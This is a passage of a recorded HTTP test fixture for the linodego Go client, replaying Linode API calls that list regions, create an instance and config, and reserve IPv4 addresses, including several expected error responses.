Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-gac4b1uu3508","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361125, "label": "go-test-ins-wo-disk-gac4b1uu3508", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.69"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "01784ea8e192a750c6c467dd1051931900d026c2", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-6w994qdpo09d","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361125/configs method: POST response: body: '{"id": 71709967, "label": "go-test-conf-6w994qdpo09d", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"reserved":true,"region":"ap-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"address": "172.105.63.218", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-218.ip.linodeusercontent.com", "linode_id": 68361125, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"reserved":true,"region":"ap-west","linode_id":99999}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Linode is not active", "field": "linode_id"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "70" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:08 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"reserved":true,"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"address": "194.195.119.214", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-214.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "267" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"reserved":true,"linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"address": "172.105.49.99", "gateway": "172.105.49.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-49-99.ip.linodeusercontent.com", "linode_id": 68361125, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.49.99 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"reserved":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "A datacenter or a Linode must be provided when reserving an address."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "96" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:09 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":false,"reserved":true,"region":"ap-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Cannot reserve a private address.", "field": "public"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "80" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:09 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' 